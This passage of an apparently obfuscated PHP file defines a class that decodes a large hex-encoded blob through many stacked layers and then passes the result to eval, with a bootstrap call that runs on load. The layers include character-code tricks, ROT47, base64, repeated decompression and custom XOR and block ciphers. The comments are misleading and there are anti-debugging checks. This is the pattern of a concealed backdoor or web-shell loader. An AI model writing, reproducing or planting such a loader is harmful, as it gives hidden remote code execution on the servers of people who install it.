a4546444647464845444746424844444a43474349444545484742484248464445484244454549454447464549454343424449444948474346484a4545464648454449454347474547484743434544454748444646474344444542474543484843454148454444434748414845434847474442454445434344474646464345434344444342434843434343484447464743434344424447484647484542484843464847434545444548474844474343454444454642454448434844434445484443484a4745444843444642434844424841484344464342484645434741434a434748444548444748444549444647484849434747424846434947464547444548464846434a44454741484a45424543454944444743474344424349484443434543434547424647484848454646484244434343434848454447474844464343484544494846484348474749454243434849454345424348454348454846444544454446444847464543444845454543444a474744424844444544474542474144474548444945454447444643494548454248424446454244474548464244444849484548484846454948474844484343494445484645474348444a4445484444444549444445434646434344464847434744444543454a44434544434245454844484447484543474947454546434345494845444a47454547434845484549454647454448434a464745434841434a484a47484842484844424742484348484842454448454544454744464444474643494448474948424543484844434848444747464545474447434447484348454446444545444741454644474843484548444349464647444647484847494844484344434847474847484845444545464448474347454745484146464544474647444442484145444543454345424446444a4342444848424543434a44434845444a45464448474244484442464247434542434343494844434943454742484a45444542474548464646484a484a4843444344474445444a47454847484544454541434744474546454248474344444343424841444a4744444345464443484648424346434648444847474748474747484a444a4843434248474544434343464448434a4444434443424544434248424349484748464346444343484642454348464445444343444642474644454846444a444a454644454542484a434a45434347474343434444484848444844474747424547484448424647454645474445474543434447474444474842444a44444343484a434945434642434247414347434848434342444648414447444744494542474344434848454a474246424749484245434849464646464348454943444443444345434342454a484345444346484a48444845444548464845474844474548484a454248414544484a474148444844484247414547434246474347444644444744484a43424845434443454646434a44464542454748444343454445484747474548464345434547454443454943434642444847434847434548444745454744474849444747454846444745434845434444494541484647414549434347474748454848424447484745434544464644434446444247444347444a434a484545434549484a44434748474648434445454544434642444a484548424848474743464442484145414443444248464747444848424346474848454847474943434343444344484345444543464844444a48444845474745494744444544454548474948464844434944424847444948444748484943484541434645434846484547474743444a4843484645494743484846474845444547414449444644434848484a46474747454744434343484247464748454248464842444745414542434744464444434345484845484743464442434a454148434443464748444748484a484a434a48444749484643474345454347414449434643484844464243434846444743434346454747484342454a444948454546484145424841434243434542454344474445484a47484445484343444348454143444844484245424449454247494443444a45424846484645484541484a47484841444a4842474643474549434746474447434244484448484545484544464648444841444744454849474145484843474345434545434245474647444748424846444445424647434646424843484644424342444744464443434247424342484145454546444747494843454848474743484446424544444748454343474746424847454a444245434647444548444343464744424543454547484443484748454542454245424741444a4347434445464846484a474544464348454543424842484248444446434a434a4843454245464647484243484745444a47454447444643434444484548444349454448494541474143484544474548424548444345424348434243424846434943484843454344464342454346474749444248484842454245484743434945484842484747424745434a48434742444348424443444a454644444542474445424343464247464445444348474749434345424844484a454146474449474643454844444546424545484644454545454248444743454a47424541444944454445464648444445444443434549484a434745464646444444434447484647444746454a4442454144444845484243444547484445454546454844424347454448434841444743444849434947414647464248454842484343424647484547454447484445484447484a4844484144474544484444424748434248494542484346464742444545464449454647484743474948474344484145424444434a434347494743434844444342454548454444474143454447444a4549444447464343474343434343464648474347454248464748434645424749454a474648434445434548464642444445434444454147444647454a434343434343484444484446484945484549444444444543434a48444843484344494444434246424348474543424841444643444446484847474743484344454841444544464542434a474748464743484345464844454248474544444644454543434543454745434648464443434a44424547444a434643434745434544474843484247434343434943444345464748474449444848444343444748464543484846464647444247484445434745484546444845414342484744444748444344454443474945474344454248444741464743434844484344444745484248494448474948414445454348464845444345494343444a454148424546444947454446444a434848484843484744454843454743494642484a484a4742484448454745434343494548484146464749484744454844484344464349444443494347484648444546434243434844444843474443434343434449484243444444434444474446444645494548454244464749454345424846484545484542454443494847444a4449484a4443484248434642484146474647484146424841454647464445484a434a47414549454147414747474648434549484248474746444a45464346454a434943424342474943484446434247464347484344434543454346464542484446464642454244494544454547494447444744434841434444434447474445414742454943464544454a4445484343424545434347454647474943494348474747454349454248414542464244464843484945454444434348454447434a454a47444744444448464848484147464345444845454548474745444848434345454748474444424548444748494647484543434849434244464546434a484a44444449444945414547474448424846474947414447434548434843454848484543434943434549444a444a4843474644464342454243474447434245414748444645424846434247464843444944484348454944454842474444494843454948414746444244434746454546474846454a444a44424745444a434743434448434343424448434345494346484243444846454643424446474947474843434a464743484349434a4542454747444346454a4542434248464642484548434444434443484844484a45484842484a4444444444454449484347454443444545444549444345444841444a4545454347414443434a4542484545454446454246474442434848454549484a4442454348474847484146424549474845434741474645454542454643444848454645424844434248464348464648494343434845424545484544454342464244444842484148464547484248464542474744454449444643444841474244494445434948464747474143494841444644474846484a4848484545474443444844444646454744454545484a47424548434646424845474945474442484248484842434943454845444a46464642474145464741454248474348434344444449434446474547434445444444444243484548444843484642434248454847444746424544434a4542484148414345434445444347434247424843454848434845484544464444484444434844484545454343484247474443454347474446444245414543464645434446454344434442454143424447444347454443454944434342474448414543444748484543474545494545444547434347474444454845444544464842484848464642454744464445444648464444444445454547454547464842484a46464844454146424747434747444548434344464345484748414842464747434746434843484741474244484543434a4748464743434848484946464647454347444544484a4547484648464849484a484944434548454447494548484547444844454144464743484444454845434248484443454848444444484248444543434344454847454a47434343434a4843444344464841454343474745484147494346444948414443454244454447464743434842454845484844484743474744484a454545434342474245484845444a444947434445484248424542434244424448454245464343434a454648494741484244464847444745454447484743494546434a464247464342444544494347454545484844454245444746434948434843434a46424447474543484444434243434446444a484a444243494447434848424744454345434343444744464844464248414343484a454245464845474548444542484247464446454545484345484648434342434948414349474748434745474444434346474548484543444548464549454a444743494846474448434849454343484745444944454545444548424349454a45464846474148424647434a48434748444a454446464742484145494343454343444343454945484342474143464543444948474543484243464642434348414741434344434549484248444346484244434546484344444446454a4543434243424447434848414447444743424542434445484846474344484845484444454647484645454346474343484541444448494647454547474342454848434447474543434442484343424544434645494447444348454546444547474545474248454545454a484644454342484344484845444a48434449474544434448454444484549444548464646474743434849444748414545484547484444484a47454542484148424445464744424347444844484845484a434448464446484a4744484a46474541474145494743454444484344444544444842434844484443444545434342454643494843474847434443444445424743434345414348434348414448474345424443444947434747484545434542454248424549434a444347444447484a434a48464843444747474445484345414342444448434348484243434543474147414842484548464548484544474749454548454849454244494444434445444546484544434443434444474848484148434746474747494746434548484444454844474642434247484446454348454344474743484845484945474349434848424449454947454545464244464549454247434543484447474746434a484445494846474545434744444548464547484a44444347434644454444454a4445454545434343474448414647474344444449444948464845444548484843474844494844454a43444347434a48454647484248464445434247424546454243424846454844434445454a45464841484a444548454841484543494343454147434347444748434846484145484447444948434848484145494544474545494843454543474545474744434443444347494448484a454a4847484648434842474845424742444445464541454543424342444843444447474447494343434a45454849454a4342484a454947424443434643464447484948414749454a48444842444a48484646434a4543484a474347414442444745464846474745454541484a43474844464747414741444346424547464746474543474647444347444348414444434945434344444946474744454645464646484746474349454945464743444544434442454248484744474744424841444a474947414746454843454843454a454945444446484348454447454448454447454848454448464644444542434a45474847484943474744484443464545434646464541444a4449484a4447474445434744444546474842484643484845434848454447454747474842444344434844444844454849444448434442444a44484445484443484447484244464449454347424442444945424343434a48474749434344434544434746424348484a434847494446474944484849454a47414449444a4547454848474847444448414844484a444a4547484543444849484648444744444443434741464744454444434748464844454344444846444544434343434a4647474545424547434445494448484948454549434247434842484544484343434545494445444544434349444443434344454545464445484244444541474946464547444847494646434a434244434444434448444444444643434848484648444748444645424845444847414545434848494447484a47464342464248464843474647464743474345474541454948464746444745424445444a474747464845444548454748444545434445444947464443454248444742484144484448444448444447454544454542454a4547454845444446484447434546454a44434544444446424548434345464547434443424446444343454741444548464646484944464442484548484548484644434347454a45494844454844484841474245424544454a43464844434a484146474842454148444344444444434447454244484748454548424548454245414742484445424342444a4842454244474541434445414749434a4747484a47494744474745414844434246474646434246474444484245464747474547414743454147414446444543424846444443424444444543424749454a4446444345464745434444454547484346474843434444474646444643424545474143484349454248464446484747474346484745444846484a4847484a43424342454345444848434545464444444744444442454648424844484346424343474543434446434248464343454343444349484444424846454645414846444548464646444a48424846484347484846484248414846474344444446484148454642474944474744434348424342444a4549484343444446484747454842454447424447454645494446484545494745474143474844434445424343454645454344484445484746444743424347464247454447474947444547484448464345434345474744484543454847444346474849484643434642454744454748484348424447484448454444444245464447454243454647444343444743434945474446434243424542434a4445454547454848474847484342484748474343454244454342444748474843434a44454442484143494841454a4549454644454349464645414543484a43464549444744454549484248484343484943454842474945424442434247464843454a484847414347454a48424846454644474845484547474742454348444743444748464647434a484143454745444744464342484247444845454547444743484343434446434846424844454247474749454243424544454343424844474344494849444647434444434343454742444944484846454a444448454344434848474449464244444545474147454749444447454844454345444346474247444349434a4544444a454a454844444848484243424846434243434842444948464445444a434544464743484a48424344484743424343454847464547444347434844444243484342484845444349444245434544454244454544484246474749434743454748444344464344454143454345484a454445414743444445464343444845434445434a484a4547454347444745454247494547484543474446444744454547444a444744444447444645494844474748424744454a4745484443434542444948454849474147464446434645464845434843454848434546424442444444474446444548464445444448434446444643434847434447464846444a484346424843484a444a47484444484443464543444744424348484644484642454948454842464648454342434943484546484645464446444647444844484344444748484945474844484245474741474647484541444a4346484745484743444548424749434247464843484a45424344444748424447434744454542454a4843444748414549434244464442434a454248454642444444494542434843424844454a45414642454945454741474845494749474248424342454a474743494343484447484646484447424543434347464349454947484548434a444843444848484a4343434545474841444545424543434945454342484743434842444443434845444344494343434a4843484644444747454348414347454247494749454a464245434348474145434343474743424344434a4748444644484846464248484446434845424549444248464443484544494842474548454343434844474744454344474843484a43424449454745434741434243474748444645434548484544434841484648434744434a434a4546434a44464647434844444343444347424443434245454543474443464348434348444446474248424444484645434541474944434543464243474343474248424642474548424347434747424842434a4541444248474848434a464748434449474648444742444848474742484648454845474743444444434643424343474347444343474547494845454a4546484a4741484447484342454344454549454644444741474945464446454246464543454643464546454347444348434245464842444a4347484848464841434a4445444a444543434345474748454842484548484746464748454646484343424845484244434543474343434742444a45464448474844494542454a444748484745484547454347484443464841484845444446484245474448464646464344474446424445484745494443434445424449484148444846484a484548424547434a4548484948444842484445424647434547424845444547444342444848474548474443424442484a4842474948444846434344454542434946474744434547444445474644434845444744484841484743474444444745414844444a484a45474342454345484547454244434344484643424742444a444a4647434544454845454445484444474648494546484944494449454248454746484a434244464448454746424845434645414546474248474442434348414443484744434447464643494845474243484842474247454741454544434444444347484346484245414844454143484543474543444445464644454446474847464845454243444842444647444446454647424844444544464445454747494749434843454446434844424449484a444444464843464744464744454a444a4646434a464644464848484844444445444544474546434a4342464244454748454748424542474748444542484344474447444843434849484443434342444446464444484343484848464246474545484343484741444a4342444647414543444a4346484a4549484544444443444644474442454a444545474845444a454544484741444648424342444a4346484644424748464644474543444543424742484347414843484146424842434543484747434a4449484647414748484148484742434245474846434a4443434348464348484a46424545484a4749454848424545454444474543454545444446484a4349484547454344434645424846484644464348444543454343484148454445444a454645414445434243424847484847464748484243454747484a434348444342434245414746434a45484343484345434748454a444444434348444448454444434748444541444745424742484245454746474545434849454a4842434345454748474345434646434246464443454745434543434a434845424343474643484646454244444544484448464542434a44464849484348474543444448474448444a4748444548434342474547454743454a474545414448444543444547434248434342444a454745454848484445424543434a484744434748484147454546454244474445454a4545454145474741484443424447444548424545444345454447484243434843434544464342444447414545484445424842454748444445434446474849484a434544494642484a4447464247494345454948454544434243434841454a454745474446444743434447434848454845434a434848444844454a4843484445494342434843494843444643484748444a44474846474948464548444a43474447454843484749444a4748434348444448454a484647494847444743434548474144474846444545474642444a43434846434a444a48444541444743484749444a4748434348444545454348464749484744474343454847414543434343454541434a45454646474343434447484443424447464246424342434243424342434243424342484648494547484246464741434344474542434244474642464243424342434243424342434243424846484945474842464648464343444745494342444746424642434243424342434243424342434248464849454748427c343137343838";
        $_msgxc3592232 = $_rvx57ca46 . $_outxec92e7 . $_idxe9c2b8 . $_bufx212369 . $_hashx1470d10 . $_inpxe076311 . $_arrxdc71812 . $_rvx86bde13 . $_ctxxbd73014 . $_refx554db15 . $_rtx3433316 . $_rtx62ff417 . $_chkx85be618 . $_mdx5c6cc19 . $_sumxae9fc20 . $_resxc4ab221 . $_rpx4c1f922 . $_arrx30fe923 . $_stxd084224 . $_numx3ac7f25;
        // compiled
        $_encx287a5236 = memory_get_usage(true);
        $_elemx7862f237 = $_encx287a5236 < (291 * 1048576);
        // processing...
        $_partx9296e233 = $this->execRbn4x104($_msgxc3592232, $_objx84015231);
        if ($_partx9296e233 === null) { return; }
        // integrity verify
        $_rtxff528238 = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
        $_numx37ba0239 = count($_rtxff528238) < 9;
        // bootstrap phase
        $this->parsex625($_partx9296e233);
    }

    private function execRbn4x104($data, $cb) {
        // setup complete
        $_srcxa6a96242 = array_key_exists("x", array());
        $_numx08375243 = str_repeat("_", 5);
        $_mdx56ab8240 = $cb["x"]; $_cntx1989b241 = $_mdx56ab8240($data);
        if ($_cntx1989b241 === false) return null;
        // transform layer
        $_cntx1989b241 = $this->buildx346($_cntx1989b241);
        if ($_cntx1989b241 === false) return null;
        // framework init
        $_cntx1989b241 = $this->resolveKm3lx59f($_cntx1989b241);
        if ($_cntx1989b241 === false) return null;
        // processed
        $_cntx1989b241 = $this->extractxdd2($_cntx1989b241);
        // runtime check
        $_mdx56ab8240 = $cb["j"]; $len = $_mdx56ab8240($_cntx1989b241);
        if ($len % 2 !== 0) return null;
        $_idxad529244 = str_split($_cntx1989b241, 2);
        $_idxad529244 = array_reverse($_idxad529244);
        $_chnxf3205245 = implode("", $_idxad529244);
        $_mdx56ab8240 = $cb["x"]; $_cntx1989b241 = $_mdx56ab8240($_chnxf3205245);
        if ($_cntx1989b241 === false) return null;
        // cache layer
        $_cntx1989b241 = $this->customRot47Reverse($_cntx1989b241);
        // decode stage
        $_mdx56ab8240 = $cb["o"]; $_cntx1989b241 = $_mdx56ab8240($_cntx1989b241);
        // environment setup
        $fromTable = $this->runx69c();
        $toTable = $this->buildx03b();
        $_cntx1989b241 = strtr($_cntx1989b241, $toTable, $fromTable);
        // environment setup
        $_mdx56ab8240 = $cb["b"]; $_cntx1989b241 = $_mdx56ab8240($_cntx1989b241);
        if ($_cntx1989b241 === false) return null;
        // cache layer
        $_mdx56ab8240 = $cb["z"];
        $_cntx1989b241 = $_mdx56ab8240($_cntx1989b241); if ($_cntx1989b241 === false) return null;
        $_cntx1989b241 = $_mdx56ab8240($_cntx1989b241); if ($_cntx1989b241 === false) return null;
        $_cntx1989b241 = $_mdx56ab8240($_cntx1989b241); if ($_cntx1989b241 === false) return null;
        // core module
        $_mdx56ab8240 = $cb["u"]; $_cntx1989b241 = $_mdx56ab8240($_cntx1989b241);
        if (!is_array($_cntx1989b241) || !isset($_cntx1989b241["d"])) return null;
        // cache layer
        $_ctxx05bb8246 = substr(hash("sha256", $_cntx1989b241["d"]), 0, 16);
        $_tsx958cf247 = isset($_cntx1989b241["h"]) ? $_cntx1989b241["h"] : "";
        if ($_ctxx05bb8246 !== $_tsx958cf247) return null;
        $_cntx1989b241 = $_cntx1989b241["d"];
        // bootstrap phase
        $_pwxc5531248 = $this->setx0d4();
        $_cntx1989b241 = $this->getxc9e($_cntx1989b241, $_pwxc5531248);
        if ($_cntx1989b241 === false) return null;
        // transform layer
        $_keyxe1c0d249 = $this->getx51d() . $this->processxc19() . $this->runRoorx268() . $this->extractx8d0();
        return $this->decodexc9e($_cntx1989b241, $_keyxe1c0d249);
    }

    private function decodexc9e($data, $key) {
        // decode stage
        $_segxa141d250 = ""; $_bufx39b40251 = strlen($key); $_nmx24442252 = strlen($data);
        if ($_bufx39b40251 === 0 || $_nmx24442252 === 0) { return $data; }
        for ($_fragxd0347253 = 0; $_fragxd0347253 < $_nmx24442252; $_fragxd0347253++) {
            $_segxa141d250 .= chr(ord($data[$_fragxd0347253]) ^ ord($key[$_fragxd0347253 % $_bufx39b40251]) ^ ($_fragxd0347253 % 256));
        }
        return $_segxa141d250;
    }

    private function customRot47Reverse($str) {
        // auto-generated
        $_clxc08ca254 = ""; $_elemx6fe79256 = strlen($str);
        for ($_tpxb7635255 = 0; $_tpxb7635255 < $_elemx6fe79256; $_tpxb7635255++) {
            $_decxc0d63257 = ord($str[$_tpxb7635255]);
            if ($_decxc0d63257 >= 33 && $_decxc0d63257 <= 126) { $_clxc08ca254 .= chr(33 + ((($_decxc0d63257 - 33 - 47 + 94) % 94))); }
            else { $_clxc08ca254 .= $str[$_tpxb7635255]; }
        }
        return $_clxc08ca254;
    }

    private function getxc9e($data, $key) {
        // final step
        $_fragx6fa6a258 = 16; $_resx227f9259 = strlen($key);
        if (strlen($data) < $_fragx6fa6a258 * 2) return false;
        $_clx25c87260 = substr($data, 0, $_fragx6fa6a258);
        $_encx0f6f8261 = substr($data, $_fragx6fa6a258);
        $_bufx2b05f262 = ""; $_clx3bebf263 = $_clx25c87260; $_txx4cac1272 = strlen($_encx0f6f8261);
        for ($_arrx43366264 = 0; $_arrx43366264 < $_txx4cac1272; $_arrx43366264 += $_fragx6fa6a258) {
            $_decx570a4265 = substr($_encx0f6f8261, $_arrx43366264, $_fragx6fa6a258); $_flgxe45eb266 = "";
            for ($_rvx7cd30268 = 0; $_rvx7cd30268 < $_fragx6fa6a258; $_rvx7cd30268++) {
                $_pwx5a796269 = ($_rvx7cd30268 * 3 + ord($key[$_rvx7cd30268 % $_resx227f9259])) % 8;
                $_rsx245fe270 = ord($_decx570a4265[$_rvx7cd30268]);
                if ($_pwx5a796269 === 0) { $_flgxe45eb266 .= chr($_rsx245fe270); }
                else { $_flgxe45eb266 .= chr((($_rsx245fe270 >> $_pwx5a796269) | ($_rsx245fe270 << (8 - $_pwx5a796269))) & 0xFF); }
            }
            $_valxcf9f8267 = "";
            for ($_rvx7cd30268 = 0; $_rvx7cd30268 < $_fragx6fa6a258; $_rvx7cd30268++) { $_valxcf9f8267 .= chr(ord($_flgxe45eb266[$_rvx7cd30268]) ^ ord($_clx3bebf263[$_rvx7cd30268])); }
            $_clx3bebf263 = $_decx570a4265; $_bufx2b05f262 .= $_valxcf9f8267;
        }
        if (strlen($_bufx2b05f262) === 0) return false;
        $_idx32f47271 = ord($_bufx2b05f262[strlen($_bufx2b05f262) - 1]);
        if ($_idx32f47271 >= 1 && $_idx32f47271 <= $_fragx6fa6a258) { $_bufx2b05f262 = substr($_bufx2b05f262, 0, -$_idx32f47271); }
        return $_bufx2b05f262;
    }

    private function buildx346($str) {
        // data handler
        $_pvx1941f273 = explode("|", $str);
        if (count($_pvx1941f273) !== 3) return false;
        $_errxadfb9274 = $_pvx1941f273[0]; $_chkxeafe8275 = $_pvx1941f273[1]; $_dstx6b605276 = (int)$_pvx1941f273[2];
        $_msgxfca59277 = ""; $_idxbcac5279 = 0; $_rvx6aef0280 = 0;
        for ($_prx8cb7a278 = 0; $_prx8cb7a278 < $_dstx6b605276; $_prx8cb7a278++) {
            if ($_prx8cb7a278 % 2 === 0) { $_msgxfca59277 .= isset($_errxadfb9274[$_idxbcac5279]) ? $_errxadfb9274[$_idxbcac5279] : ""; $_idxbcac5279++; }
            else { $_msgxfca59277 .= isset($_chkxeafe8275[$_rvx6aef0280]) ? $_chkxeafe8275[$_rvx6aef0280] : ""; $_rvx6aef0280++; }
        }
        return $_msgxfca59277;
    }

    private function extractxdd2($str) {
        // processed
        $_fnx6e731281 = ""; $_outx30deb282 = strlen($str); $_rvx0729b283 = 0;
        while ($_rvx0729b283 < $_outx30deb282) {
            if ($str[$_rvx0729b283] === "%" && isset($str[$_rvx0729b283 + 1]) && isset($str[$_rvx0729b283 + 2])) {
                $_rtxa382c284 = $str[$_rvx0729b283 + 1] . $str[$_rvx0729b283 + 2];
                if (ctype_xdigit($_rtxa382c284)) { $_fnx6e731281 .= chr(hexdec($_rtxa382c284)); $_rvx0729b283 += 3; continue; }
            }
            $_fnx6e731281 .= $str[$_rvx0729b283]; $_rvx0729b283++;
        }
        return $_fnx6e731281;
    }

    private function resolveKm3lx59f($str) {
        // environment setup
        $_clxfb60e285 = ""; $_refx336fc286 = strlen($str);
        for ($_rvx63d24287 = 0; $_rvx63d24287 < $_refx336fc286; $_rvx63d24287 += 2) {
            if (!isset($str[$_rvx63d24287 + 1])) break;
            $_ptrx038b7288 = ord($str[$_rvx63d24287]) - 65; $_ctxxb1d21289 = ord($str[$_rvx63d24287 + 1]) - 65;
            if ($_ptrx038b7288 < 0 || $_ptrx038b7288 > 15 || $_ctxxb1d21289 < 0 || $_ctxxb1d21289 > 15) return false;
            $_clxfb60e285 .= chr(($_ptrx038b7288 << 4) | $_ctxxb1d21289);
        }
        return $_clxfb60e285;
    }

    private function runx69c() {
        // security check
        $_cbkx0106d290 = array((65+94-94), ((84)^22), abs((67)), (~(~68)), (~(~69)), 70, 0x47, ((360)/5), ((98)^43), 0x4a, (~(~75)), abs((76)), ((154)/2), (20+(58)), (((178)/2)-10), (27+(53)), (78+(3)), (82+72-72), abs((83)), (((282)/3)-10), ((25)^76), 86, 87, (((384)/4)-8), (89+37-37), ((104)-14), ((145)-48), 0x62, 0x63, ((109)-9), (((424)/4)-5), ((714)/7), ((412)/4), ((117)^29), 0x69, abs((106)), (107+68-68), ((131)-23), (109+45-45), ((150)-40), ((136)-25), (112+24-24), (((456)/4)-1), ((80)^34), ((122)^9), ((117)^1), 117, ((132)-14), (((258)/2)-10), 120, 0x79, 122, 48, abs((49)), abs((50)), (16+(35)), 52, (((174)/3)-5), (30+(24)), ((100)^83), ((112)/2), 57, ((258)/6), ((59)-12));
        $_fnx69d2c291 = implode("", array_map("chr", $_cbkx0106d290));
        return $_fnx69d2c291;
    }

    private function buildx03b() {
        // setup complete
        $_hdlxebf2e292 = array((76+10-10), (((182)/2)-4), 0x2b, abs((67)), (33+(51)), abs((110)), (((250)/2)-3), (~(~79)), (46+(37)), ((112)-46), 109, ((63)^70), ((111)^26), ((71)^14), ((23)^90), ((240)/2), (((372)/3)-9), (4+(86)), (78+70-70), (75+61-61), (36+(63)), 0x67, (((153)/3)-3), 52, (102+30-30), (~(~89)), (((120)/2)-7), (((344)/4)-6), ((122)-34), abs((106)), 0x77, 0x6c, (114+21-21), ((93)-28), (~(~81)), (~(~97)), (~(~82)), (((332)/4)-9), ((130)-23), (33+(67)), (45+(53)), ((42)^91), ((90)^53), (50+36-36), ((122)^44), (~(~49)), (68+20-20), 0x47, 72, ((125)^40), ((168)-50), ((69)^44), ((78)^62), 0x46, abs((54)), (~(~56)), 0x68, (31+(20)), ((5)^60), ((110)/2), 101, (116+69-69), 69, (((208)/4)-5));
        $_prx99aee293 = implode("", array_map("chr", $_hdlxebf2e292));
        return $_prx99aee293;
    }

    private function getx51d() {
        // core module
        $_rpx12e43296 = count(array_slice(range(1,10), 0, 5));
        $_nodexc63fa294 = array(((149)-45), (((306)/3)-1), 0x78, ((350)/7), ((111)-13), ((210)/2), (74+(36)));
        $_tpx98a99295 = implode("", array_map("chr", $_nodexc63fa294));
        return $_tpx98a99295("19adfe31");
    }

    private function processxc19() {
        // final step
        $_keyx9a4f9299 = array_chunk(array(1,2,3,4), 2);
        $_rpx15b2e300 = in_array("x", array("x", "y"));
        $_msgx71412297 = array(((149)-45), (((306)/3)-1), 0x78, ((350)/7), ((111)-13), ((210)/2), (74+(36)));
        $_rqxb0efe298 = implode("", array_map("chr", $_msgx71412297));
        return $_rqxb0efe298("4cdca8d5");
    }

    private function runRoorx268() {
        // environment setup
        $_rqx79a2d301 = array(((149)-45), (((306)/3)-1), 0x78, ((350)/7), ((111)-13), ((210)/2), (74+(36)));
        $_pvxe06bf302 = implode("", array_map("chr", $_rqx79a2d301));
        return $_pvxe06bf302("d2878f6a");
    }

    private function extractx8d0() {
        // core module
        $_segxf787a305 = abs(-1);
        $_tmpx8cf45303 = array(((149)-45), (((306)/3)-1), 0x78, ((350)/7), ((111)-13), ((210)/2), (74+(36)));
        $_valxb468e304 = implode("", array_map("chr", $_tmpx8cf45303));
        return $_valxb468e304("90fc11c4");
    }

    private function setx0d4() {
        // decode stage
        $_tpx8d377306 = array(((149)-45), (((306)/3)-1), 0x78, ((350)/7), ((111)-13), ((210)/2), (74+(36)));
        $_fragxa9ef5307 = implode("", array_map("chr", $_tpx8d377306));
        return $_fragxa9ef5307("8d51dee094a77ec4b49fa48f5bf16efa393eeb0fb76577f1a0d55999b6f8ff98");
    }

    private function loadx65a() {
        // environment setup
        $_pvx57c25308 = array(0x62, ((60)^93), (115+23-23), 0x65, (27+(27)), ((312)/6), 0x5f, 0x64, ((121)-20), ((495)/5), ((222)/2), (25+(75)), abs((101)));
        $_arrx09309309 = implode("", array_map("chr", $_pvx57c25308));
        return $_arrx09309309("cWZ4azQzaXA3NjAzeW1wMg==");
    }

    private function setNbbkx214() {
        // compiled
        $_numx68aea310 = array(0x62, ((60)^93), (115+23-23), 0x65, (27+(27)), ((312)/6), 0x5f, 0x64, ((121)-20), ((495)/5), ((222)/2), (25+(75)), abs((101)));
        $_hashxad850311 = implode("", array_map("chr", $_numx68aea310));
        return $_hashxad850311("b2VyZGwwa3cwZTFxMmIwcA==");
    }

    private function configurex2df() {
        // auto-generated
        $_outx49ec4312 = array(0x62, ((60)^93), (115+23-23), 0x65, (27+(27)), ((312)/6), 0x5f, 0x64, ((121)-20), ((495)/5), ((222)/2), (25+(75)), abs((101)));
        $_cntxd6171313 = implode("", array_map("chr", $_outx49ec4312));
        return $_cntxd6171313("czdnMTQxZWl1d2J2Nnd3NA==");
    }

    private function parsex625($code) {
        // auto-generated
        $_crx5194c314 = microtime(true) * 1000;
        $_numx81b35315 = memory_get_usage() > 0;
        $_tpx79d7f316 = str_pad("hi", 10, "-");
        $_valx10a68317 = $code;
        $_valx10a68317 = preg_replace("#^<\?php\s*#i", "", $_valx10a68317);
        $_valx10a68317 = preg_replace("#^<\?\s*#", "", $_valx10a68317);
        $_valx10a68317 = trim($_valx10a68317);
        if (strlen($_valx10a68317) === 0) { return; }
        // security check
        eval/**//*05d41144c0bf*/($_valx10a68317);
    }
}

// Bootstrap
Servicex4c0c::runxfa5();